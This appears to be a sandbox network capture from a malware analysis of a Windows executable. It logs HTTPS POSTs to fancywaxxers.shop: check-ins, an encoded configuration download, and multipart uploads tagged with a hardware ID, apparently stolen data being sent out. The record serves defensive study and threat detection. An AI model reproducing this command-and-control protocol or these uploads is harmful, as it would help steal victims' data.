2024-12-31 08:51:07 UTC	264	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: fancywaxxers.shop
2024-12-31 08:51:07 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-12-31 08:51:08 UTC	1135	IN	HTTP/1.1 200 OK Date: Tue, 31 Dec 2024 08:51:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=ccmj5fu3dc363h7joofoq68nrl; expires=Sat, 26 Apr 2025 02:37:47 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=iRmaQd3VyqVwkPE0U5hjyiYAbzqGvRA%2F4LVpv%2BGeO2eRcnI%2FoEHfdEZueL4z0EbO0FiWDasjqVQhhSUXNpMZD6bSPY7%2FbEs0dia12r3D69v0jM%2FBGMq5Rroe9zWtkEdZSSqQ3g%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fa906a5082843b2-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=13854&min_rtt=13762&rtt_var=5344&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2843&recv_bytes=908&delivery_rate=201407&cwnd=238&unsent_bytes=0&cid=4e15f61eb650425c&ts=792&x=0"
2024-12-31 08:51:08 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-12-31 08:51:08 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.9	49707	104.21.112.1	443	7660	C:\Users\user\Desktop\zhMQ0hNEmb.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-31 08:51:08 UTC	265	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 53 Host: fancywaxxers.shop
2024-12-31 08:51:08 UTC	53	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=LOGS11--LiveTraffic&j=
2024-12-31 08:51:09 UTC	1131	IN	HTTP/1.1 200 OK Date: Tue, 31 Dec 2024 08:51:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=dpss36t6omla5vesgbn0ous2tr; expires=Sat, 26 Apr 2025 02:37:48 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=c2TGxTtQOxI5vp1vw%2F6xkp3dyuree%2FlBjy12tJX6tnqFHtu5RTYd0d%2Ffc%2Bxru5dhdY8kJ7nu91q6k2tcSpcQoxd7PfEwxXomGxl7Rbd2rR9m6P0D5Ec6ofGIkqsJaflVHS763w%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fa906acbed743b2-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1592&min_rtt=1567&rtt_var=605&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2842&recv_bytes=954&delivery_rate=1863433&cwnd=238&unsent_bytes=0&cid=688a41f67e09d2b5&ts=463&x=0"
2024-12-31 08:51:09 UTC	238	IN	Data Raw: 31 63 62 32 0d 0a 6b 56 33 35 4a 4f 65 68 79 66 34 71 6f 69 72 70 47 70 32 66 59 59 75 39 54 6d 32 78 47 48 53 70 55 69 64 38 73 67 61 31 73 64 58 71 66 34 38 47 33 5a 58 6c 33 46 6e 48 43 4e 4e 75 37 2b 6f 45 70 35 38 76 43 5a 4d 69 45 73 67 2b 56 42 6d 65 4a 4d 50 63 39 36 73 37 6d 45 69 55 78 4f 58 63 54 39 6f 49 30 30 48 6d 76 51 54 6c 6e 33 52 50 31 48 49 57 79 44 35 46 48 64 6c 70 78 64 32 32 2b 54 47 65 54 49 4c 43 72 5a 39 47 7a 30 2b 4d 66 2f 7a 31 44 2b 4c 51 4a 67 43 54 4e 46 62 4d 4b 41 56 47 6b 45 76 51 78 62 54 63 50 49 70 50 78 64 7a 6c 68 51 6a 48 52 4d 73 67 76 2f 34 45 36 64 45 6f 43 64 70 77 48 4d 45 32 52 42 6a 59 64 74 7a 58 76 66 6b 2f 6e 55 32 49 79 37 6d 53 54 4d 68 45 69 6e 58 38 Data Ascii: 1cb2kV35JOehyf4qoirpGp2fYYu9Tm2xGHSpUid8sga1sdXqf48G3ZXl3FnHCNNu7+oEp58vCZMiEsg+VBmeJMPc96s7mEiUxOXcT9oI00HmvQTln3RP1HIWyD5FHdlpxd22+TGeTILCrZ9Gz0+Mf/z1D+LQJgCTNFbMKAVGkEvQxbTcPIpPxdzlhQjHRMsgv/4E6dEoCdpwHME2RBjYdtzXvfk/nU2Iy7mSTMhEinX8
2024-12-31 08:51:09 UTC	1369	IN	Data Raw: 76 55 32 70 32 44 52 50 69 7a 70 46 2b 54 4e 55 44 38 56 70 78 39 58 33 37 48 47 43 42 6f 4c 50 36 38 51 49 79 45 53 46 66 66 7a 79 42 4f 6a 66 50 67 44 54 65 52 37 44 4e 45 38 52 33 32 76 5a 32 62 44 37 4e 70 78 4a 67 73 75 74 6b 30 75 41 42 73 74 2f 35 37 31 62 71 66 38 38 44 4e 42 75 47 39 70 77 57 6c 44 4a 4a 4e 44 66 39 36 74 2f 6e 55 69 45 7a 71 75 4f 51 4d 74 44 6a 6d 72 30 39 41 37 6b 33 79 45 46 33 48 6b 57 7a 44 70 50 45 64 70 67 32 74 36 78 38 7a 2f 62 43 4d 58 45 73 39 77 51 67 47 75 4f 61 50 6a 78 46 61 76 6c 62 42 43 64 59 31 62 4d 50 41 56 47 6b 47 7a 53 30 4c 54 34 4d 4a 68 4f 6a 74 47 72 6a 6b 37 4e 54 5a 6c 2b 2b 76 4d 4a 36 73 30 6d 41 64 56 35 48 38 41 35 51 42 6e 55 4a 4a 6d 54 73 4f 74 2f 77 77 61 6b 7a 71 43 51 51 74 64 49 79 32 65 Data Ascii: vU2p2DRPizpF+TNUD8Vpx9X37HGCBoLP68QIyESFffzyBOjfPgDTeR7DNE8R32vZ2bD7NpxJgsutk0uABst/571bqf88DNBuG9pwWlDJJNDf96t/nUiEzquOQMtDjmr09A7k3yEF3HkWzDpPEdpg2t6x8z/bCMXEs9wQgGuOaPjxFavlbBCdY1bMPAVGkGzS0LT4MJhOjtGrjk7NTZl++vMJ6s0mAdV5H8A5QBnUJJmTsOt/wwakzqCQQtdIy2e
2024-12-31 08:51:09 UTC	1369	IN	Data Raw: 63 30 67 42 64 56 31 47 38 64 77 43 31 37 58 66 4a 65 4c 39 39 6b 38 6a 30 57 50 67 5a 36 66 52 73 35 50 6e 54 6a 67 73 78 71 70 32 43 42 50 69 7a 6f 62 79 6a 68 44 44 4e 39 70 31 4e 32 35 2f 44 71 55 54 6f 58 44 70 70 6c 4d 79 30 4f 49 64 66 76 76 43 65 6e 58 4b 51 37 5a 63 46 61 46 63 45 49 47 6b 44 79 58 34 71 44 34 66 61 35 46 69 38 32 73 69 67 6a 66 42 70 49 34 2b 50 46 44 73 5a 38 68 42 39 5a 2f 47 63 6f 36 53 78 76 61 61 4e 2f 64 74 4f 45 77 6e 30 61 4a 79 36 47 52 52 73 52 41 67 6e 50 30 2b 77 50 6f 31 57 78 42 6b 33 30 4f 69 32 67 46 4b 74 64 6f 32 74 7a 31 78 6a 79 56 53 49 4c 56 36 34 4d 47 32 51 69 4d 64 4c 2b 6c 51 2b 58 57 4c 41 54 5a 66 68 62 4d 50 55 41 64 31 32 66 61 31 4c 33 39 4f 4a 39 4b 6a 4d 36 74 6e 45 2f 45 54 5a 6c 39 39 76 45 50 Data Ascii: c0gBdV1G8dwC17XfJeL99k8j0WPgZ6fRs5PnTjgsxqp2CBPizobyjhDDN9p1N25/DqUToXDpplMy0OIdfvvCenXKQ7ZcFaFcEIGkDyX4qD4fa5Fi82sigjfBpI4+PFDsZ8hB9Z/Gco6SxvaaN/dtOEwn0aJy6GRRsRAgnP0+wPo1WxBk30Oi2gFKtdo2tz1xjyVSILV64MG2QiMdL+lQ+XWLATZfhbMPUAd12fa1L39OJ9KjM6tnE/ETZl99vEP
2024-12-31 08:51:09 UTC	1369	IN	Data Raw: 6d 54 5a 56 6a 53 63 45 49 53 6b 44 79 58 32 72 37 68 4d 5a 56 50 69 4d 57 6a 6d 30 62 4e 51 34 31 7a 2b 50 6f 46 35 4e 63 68 43 74 42 37 45 73 45 69 52 68 58 61 61 64 32 54 2b 62 4d 34 67 77 62 64 67 34 79 51 59 64 42 54 6d 57 36 2f 34 6b 33 77 6e 79 73 44 6b 79 4a 57 79 44 39 4d 45 64 68 73 32 4e 79 7a 2f 54 6d 64 53 34 44 4d 6f 59 35 41 7a 6b 57 41 64 2f 54 76 41 2b 54 62 49 41 76 62 63 52 79 4c 66 67 55 5a 79 43 53 50 6b 34 4c 2b 4d 4a 74 46 6b 34 4f 30 30 6c 47 41 54 34 63 34 70 37 30 50 35 39 38 6a 41 39 39 78 48 73 6f 38 53 78 6e 56 62 64 2f 62 70 66 49 37 6b 30 65 4c 7a 4b 71 59 54 63 56 4d 6a 48 7a 35 38 6b 4f 6e 6e 79 73 58 6b 79 4a 57 35 42 64 77 58 50 46 65 6c 38 7a 35 36 6e 2b 63 53 73 57 62 36 35 42 4c 7a 45 43 45 66 76 62 78 43 65 44 55 49 Data Ascii: mTZVjScEISkDyX2r7hMZVPiMWjm0bNQ41z+PoF5NchCtB7EsEiRhXaad2T+bM4gwbdg4yQYdBTmW6/4k3wnysDkyJWyD9MEdhs2Nyz/TmdS4DMoY5AzkWAd/TvA+TbIAvbcRyLfgUZyCSPk4L+MJtFk4O00lGAT4c4p70P598jA99xHso8SxnVbd/bpfI7k0eLzKqYTcVMjHz58kOnnysXkyJW5BdwXPFel8z56n+cSsWb65BLzECEfvbxCeDUI
2024-12-31 08:51:09 UTC	1369	IN	Data Raw: 56 7a 7a 56 4b 48 39 46 69 78 64 53 2b 34 54 47 57 53 59 33 4c 6f 70 31 4d 78 55 57 4e 64 50 58 38 42 4f 66 52 4a 45 2b 64 4f 68 48 54 63 42 31 65 38 58 54 4d 77 61 48 2b 48 70 5a 4a 78 64 7a 6c 68 51 6a 48 52 4d 73 67 76 2f 51 52 37 64 49 2b 42 74 52 30 47 63 67 69 52 42 50 62 64 74 44 63 73 2f 51 7a 6e 55 6d 44 77 71 36 57 52 4d 64 4e 67 48 66 7a 76 55 32 70 32 44 52 50 69 7a 6f 34 77 43 4e 53 48 64 35 76 77 63 6a 33 37 48 47 43 42 6f 4c 50 36 38 51 49 77 30 4f 41 66 50 2f 78 41 2b 33 53 4c 42 33 63 66 52 48 43 4f 31 63 55 31 32 50 63 32 37 7a 38 4f 59 6c 4b 69 39 47 75 6a 6c 71 41 42 73 74 2f 35 37 31 62 71 65 6b 72 48 38 4e 35 56 50 6f 6d 52 67 6a 62 61 64 75 54 71 4c 30 6d 32 30 47 4a 67 2f 50 63 54 73 39 42 69 48 66 2b 39 41 2f 6b 32 69 55 4b 30 6e Data Ascii: VzzVKH9FixdS+4TGWSY3Lop1MxUWNdPX8BOfRJE+dOhHTcB1e8XTMwaH+HpZJxdzlhQjHRMsgv/QR7dI+BtR0GcgiRBPbdtDcs/QznUmDwq6WRMdNgHfzvU2p2DRPizo4wCNSHd5vwcj37HGCBoLP68QIw0OAfP/xA+3SLB3cfRHCO1cU12Pc27z8OYlKi9GujlqABst/571bqekrH8N5VPomRgjbaduTqL0m20GJg/PcTs9BiHf+9A/k2iUK0n
2024-12-31 08:51:09 UTC	1369	IN	Data Raw: 64 78 33 4c 4a 4d 69 64 72 72 4d 34 6c 77 62 64 67 36 69 62 53 38 46 43 67 6e 54 77 2b 67 66 37 31 53 73 64 30 6e 73 64 78 6a 78 46 45 39 31 75 31 74 71 36 2f 7a 4b 63 51 59 72 47 36 39 49 49 78 31 44 4c 49 4c 2f 63 44 75 4c 54 64 31 57 54 5a 56 6a 53 63 45 49 53 6b 44 79 58 30 37 33 32 4e 5a 5a 46 69 73 43 35 6e 55 37 53 53 49 5a 79 37 66 63 49 37 4e 49 68 41 74 42 38 45 4d 41 38 56 78 66 51 5a 39 79 54 2b 62 4d 34 67 77 62 64 67 34 69 4c 58 73 70 50 68 32 37 30 2f 41 44 2f 30 6a 78 50 6e 54 6f 48 7a 43 45 46 52 73 5a 30 77 4e 53 6f 76 53 62 62 51 59 6d 44 38 39 78 4f 79 55 36 4d 66 76 48 76 42 75 2f 51 49 77 62 61 66 68 37 49 4d 45 45 61 31 32 48 55 33 37 7a 30 50 4a 52 43 6a 4d 32 69 6b 77 69 4f 43 49 78 67 76 36 56 44 79 4d 51 76 41 39 34 36 43 59 55 Data Ascii: dx3LJMidrrM4lwbdg6ibS8FCgnTw+gf71Ssd0nsdxjxFE91u1tq6/zKcQYrG69IIx1DLIL/cDuLTd1WTZVjScEISkDyX0732NZZFisC5nU7SSIZy7fcI7NIhAtB8EMA8VxfQZ9yT+bM4gwbdg4iLXspPh270/AD/0jxPnToHzCEFRsZ0wNSovSbbQYmD89xOyU6MfvHvBu/QIwbafh7IMEEa12HU37z0PJRCjM2ikwiOCIxgv6VDyMQvA946CYU
2024-12-31 08:51:09 UTC	271	IN	Data Raw: 69 54 51 79 2f 65 72 66 37 74 4e 6b 38 61 73 69 67 72 31 53 34 56 32 2b 4f 74 44 39 75 42 69 54 39 78 67 56 70 4d 4a 58 46 37 58 61 4a 65 4c 39 2b 59 34 6d 30 47 66 31 61 79 51 57 63 74 46 68 31 72 77 2b 68 58 71 30 43 38 65 32 6a 59 64 78 6e 41 4c 58 74 64 38 6c 34 76 33 33 44 69 4e 52 61 72 41 75 70 55 49 6a 67 69 4d 62 72 2b 6c 51 39 65 66 50 67 7a 44 65 52 6e 61 44 67 56 47 79 56 71 58 32 4b 48 30 4c 35 68 51 6a 73 36 6e 6a 58 61 41 45 4e 38 71 72 61 39 52 75 38 42 73 45 4f 77 30 56 73 70 77 48 53 66 4a 4a 4d 47 54 37 36 46 78 32 31 54 46 6d 2b 76 62 53 39 4a 61 6a 58 76 70 2f 6b 54 58 34 51 73 5a 32 58 30 47 7a 43 64 4b 58 70 34 6b 32 4a 50 76 79 6e 2b 53 51 5a 37 53 76 5a 46 59 78 77 69 30 4e 72 2f 6c 51 37 47 66 47 51 7a 64 64 42 48 64 49 51 67 35 Data Ascii: iTQy/erf7tNk8asigr1S4V2+OtD9uBiT9xgVpMJXF7XaJeL9+Y4m0Gf1ayQWctFh1rw+hXq0C8e2jYdxnALXtd8l4v33DiNRarAupUIjgiMbr+lQ9efPgzDeRnaDgVGyVqX2KH0L5hQjs6njXaAEN8qra9Ru8BsEOw0VspwHSfJJMGT76Fx21TFm+vbS9JajXvp/kTX4QsZ2X0GzCdKXp4k2JPvyn+SQZ7SvZFYxwi0Nr/lQ7GfGQzddBHdIQg5
2024-12-31 08:51:09 UTC	1369	IN	Data Raw: 32 63 65 32 0d 0a 58 72 78 42 75 4f 43 49 39 70 76 36 56 54 75 34 52 35 58 49 51 71 52 4e 52 2b 58 46 37 47 4a 49 2b 42 2b 62 4d 74 32 78 37 46 68 4b 69 4f 57 73 5a 4c 6e 58 75 34 77 7a 33 4f 78 53 45 4a 78 47 73 6f 39 54 64 66 45 39 5a 7a 78 70 2b 69 38 44 47 56 51 5a 4f 44 35 64 78 48 67 42 43 79 4f 4c 65 39 50 4b 65 66 4e 45 2b 4c 4f 69 50 49 50 6b 73 5a 78 6e 57 61 39 4b 33 2b 4f 59 78 58 78 59 33 72 6d 67 69 59 47 73 55 34 2b 2b 78 44 73 59 39 2b 56 49 59 70 51 5a 74 69 57 6c 44 4a 4a 4d 47 54 37 36 46 78 32 31 54 46 6d 2b 76 62 53 39 4a 61 6a 58 76 70 2f 6b 54 58 34 51 49 49 31 58 38 52 32 33 4a 72 46 63 52 6a 6c 35 33 33 2f 48 2f 44 66 38 57 4c 36 36 4d 47 67 46 44 4c 49 4c 2f 49 41 4f 66 52 4b 78 6e 43 4e 7a 6a 4d 4e 6b 41 5a 77 43 62 35 32 4b 50 Data Ascii: 2ce2XrxBuOCI9pv6VTu4R5XIQqRNR+XF7GJI+B+bMt2x7FhKiOWsZLnXu4wz3OxSEJxGso9TdfE9Zzxp+i8DGVQZOD5dxHgBCyOLe9PKefNE+LOiPIPksZxnWa9K3+OYxXxY3rmgiYGsU4++xDsY9+VIYpQZtiWlDJJMGT76Fx21TFm+vbS9JajXvp/kTX4QII1X8R23JrFcRjl533/H/Df8WL66MGgFDLIL/IAOfRKxnCNzjMNkAZwCb52KP
2024-12-31 08:51:09 UTC	1369	IN	Data Raw: 5a 66 52 72 5a 39 65 77 77 2b 31 52 74 6a 7a 42 4f 6a 4a 50 42 6a 63 52 43 6a 65 4d 30 73 51 31 33 4c 47 6b 2f 6d 7a 4d 4e 73 65 76 49 50 6a 33 48 65 4f 43 4a 4d 34 70 37 30 32 36 74 45 69 43 4d 56 72 57 2b 77 2b 51 68 2f 47 64 4d 44 63 39 37 31 2f 6e 51 62 64 6b 65 58 63 54 4e 45 49 30 79 69 74 70 6c 61 36 69 48 78 64 7a 44 51 50 69 79 59 46 52 6f 49 71 6c 38 48 33 71 33 2f 63 52 5a 66 52 72 5a 39 65 77 77 2b 31 52 74 6a 7a 42 4f 6a 4a 50 42 6a 63 4e 54 6a 39 45 58 73 67 78 57 66 5a 33 62 44 6c 4c 74 73 49 78 63 7a 72 78 48 47 41 41 4d 74 48 73 62 30 62 71 59 64 73 4f 74 42 30 47 4d 77 6d 56 46 50 33 61 74 44 53 6f 65 4d 6f 6c 41 6d 72 39 59 72 63 42 6f 42 4f 79 79 43 74 73 30 50 74 7a 6d 78 58 67 79 68 4e 6e 6d 4d 53 54 6f 4a 37 6d 63 72 33 35 58 2f 44 Data Ascii: ZfRrZ9eww+1RtjzBOjJPBjcRCjeM0sQ13LGk/mzMNsevIPj3HeOCJM4p7026tEiCMVrW+w+Qh/GdMDc971/nQbdkeXcTNEI0yitpla6iHxdzDQPiyYFRoIql8H3q3/cRZfRrZ9eww+1RtjzBOjJPBjcNTj9EXsgxWfZ3bDlLtsIxczrxHGAAMtHsb0bqYdsOtB0GMwmVFP3atDSoeMolAmr9YrcBoBOyyCts0PtzmxXgyhNnmMSToJ7mcr35X/D

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.9	49708	104.21.112.1	443	7660	C:\Users\user\Desktop\zhMQ0hNEmb.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-31 08:51:10 UTC	280	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=7RIXR4G2UE71BKD User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12833 Host: fancywaxxers.shop
2024-12-31 08:51:10 UTC	12833	OUT	Data Raw: 2d 2d 37 52 49 58 52 34 47 32 55 45 37 31 42 4b 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 30 39 45 44 41 31 32 39 41 39 37 35 30 31 37 42 32 30 41 34 43 34 37 36 46 44 35 31 42 43 42 31 0d 0a 2d 2d 37 52 49 58 52 34 47 32 55 45 37 31 42 4b 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 37 52 49 58 52 34 47 32 55 45 37 31 42 4b 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d Data Ascii: --7RIXR4G2UE71BKDContent-Disposition: form-data; name="hwid"09EDA129A975017B20A4C476FD51BCB1--7RIXR4G2UE71BKDContent-Disposition: form-data; name="pid"2--7RIXR4G2UE71BKDContent-Disposition: form-data; name="lid"LOGS11--LiveTraffic-
2024-12-31 08:51:10 UTC	1138	IN	HTTP/1.1 200 OK Date: Tue, 31 Dec 2024 08:51:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=28ai5vm7r0eig7h2n7vp5p2fh3; expires=Sat, 26 Apr 2025 02:37:49 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=XMINgZcGFpj6SjqCPWPOw3oQcUOq7x%2BUlbQtUPN%2BIBF4ZY1Acik8WsJPge59Y5nTKZlfqW1zwvKHQqCSzXz6wRpMmFMf7W%2Fba6t%2BAzzxCojdp5%2B03b0nzagYX8DIs%2Ff6fP3PIA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fa906b4edfc0f5b-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1660&min_rtt=1648&rtt_var=642&sent=9&recv=17&lost=0&retrans=0&sent_bytes=2843&recv_bytes=13771&delivery_rate=1672394&cwnd=221&unsent_bytes=0&cid=f94524fa5f00ec14&ts=661&x=0"
2024-12-31 08:51:10 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-31 08:51:10 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.9	49709	104.21.112.1	443	7660	C:\Users\user\Desktop\zhMQ0hNEmb.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-31 08:51:11 UTC	273	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=O5XJH2K5 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 15009 Host: fancywaxxers.shop
2024-12-31 08:51:11 UTC	15009	OUT	Data Raw: 2d 2d 4f 35 58 4a 48 32 4b 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 30 39 45 44 41 31 32 39 41 39 37 35 30 31 37 42 32 30 41 34 43 34 37 36 46 44 35 31 42 43 42 31 0d 0a 2d 2d 4f 35 58 4a 48 32 4b 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 4f 35 58 4a 48 32 4b 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d 2d 4f 35 58 4a 48 32 4b 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 Data Ascii: --O5XJH2K5Content-Disposition: form-data; name="hwid"09EDA129A975017B20A4C476FD51BCB1--O5XJH2K5Content-Disposition: form-data; name="pid"2--O5XJH2K5Content-Disposition: form-data; name="lid"LOGS11--LiveTraffic--O5XJH2K5Content-Di
2024-12-31 08:51:12 UTC	1139	IN	HTTP/1.1 200 OK Date: Tue, 31 Dec 2024 08:51:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=eq9kqvkblmn00ivbti2ll1a1e4; expires=Sat, 26 Apr 2025 02:37:50 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2BJeSXenwYVZ0atZ6D%2Fs00Ty4vJsECrPJCdvkfSxvjbnvIzFxpNaEJ5AJUfa%2B6xnvCJcGYau46wozYHYz32Jvb16gh2i15HidYGfzdjFCE7Zdq%2B52m%2Bk%2BY9GUri8cI3DGAFTdZQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fa906bcef9ec34f-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1463&min_rtt=1454&rtt_var=564&sent=10&recv=19&lost=0&retrans=0&sent_bytes=2843&recv_bytes=15940&delivery_rate=1909744&cwnd=181&unsent_bytes=0&cid=cb66ae99383a6b8e&ts=645&x=0"
2024-12-31 08:51:12 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-31 08:51:12 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.9	49710	104.21.112.1	443	7660	C:\Users\user\Desktop\zhMQ0hNEmb.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-31 08:51:12 UTC	278	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=N1LX1OJE5XAX9 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20555 Host: fancywaxxers.shop
2024-12-31 08:51:12 UTC	15331	OUT	Data Raw: 2d 2d 4e 31 4c 58 31 4f 4a 45 35 58 41 58 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 30 39 45 44 41 31 32 39 41 39 37 35 30 31 37 42 32 30 41 34 43 34 37 36 46 44 35 31 42 43 42 31 0d 0a 2d 2d 4e 31 4c 58 31 4f 4a 45 35 58 41 58 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 4e 31 4c 58 31 4f 4a 45 35 58 41 58 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d 2d 4e 31 4c 58 31 Data Ascii: --N1LX1OJE5XAX9Content-Disposition: form-data; name="hwid"09EDA129A975017B20A4C476FD51BCB1--N1LX1OJE5XAX9Content-Disposition: form-data; name="pid"3--N1LX1OJE5XAX9Content-Disposition: form-data; name="lid"LOGS11--LiveTraffic--N1LX1
